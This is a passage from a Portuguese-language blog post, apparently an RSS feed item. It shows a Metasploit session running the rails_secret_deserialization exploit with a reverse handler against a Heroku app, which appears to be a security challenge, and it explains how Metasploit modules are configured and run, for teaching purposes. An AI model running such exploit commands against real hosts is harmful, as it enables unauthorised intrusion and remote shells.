msf exploit(rails_secret_deserialization) &gt; set RHOST getthisadmin.herokuapp.com
msf exploit(rails_secret_deserialization) &gt; set TARGETURI /reset/_csrf_token
msf exploit(rails_secret_deserialization) &gt; run
[*] Started reverse handler on 192.168.47.172:4444
[*] Checking for cookie _csrf_token
[!] Caution: Cookie not found, maybe you need to adjust TARGETURI
[*] Trying to leverage default controller without cookie confirmation.
[*] Sending cookie _csrf_token
msf exploit(rails_secret_deserialization) &gt; exit</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E podemos ver que o problema não é esse. No Metasploit você carrega um dos muitos módulos de exploit que quer explorar (veja <a href="https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http"target="_blank" rel="noopener">lista no próprio código fonte</a>). Cada exploit tem várias opções pra configurar (execute <tt>show options</tt> para mostrar as configurações). Use o comando <tt>set</tt> para configurar com o site que quer explorar. Finalmente, rode com <tt>run</tt> para executar e ver se tem o exploit ou não.</p>
<p>Eu mesmo não sou um expert em segurança mas conheço o básico e explorar o Metasploit pode ser uma excelente fonte para você entender como funcionam exploits de segurança. O código de cada módulo é em Ruby e é muito fácil de ler.</p>
<p>E já descobriram o desafio do @joernchen? Neste post eu já dei uma grande dica ;-) Comentem se conseguiram, mas não dêem a resposta ainda pra todo mundo poder testar.</p>
]]></content:encoded><category>seguranca</category><category>ruby</category><category>tutoriais</category></item></channel></rss>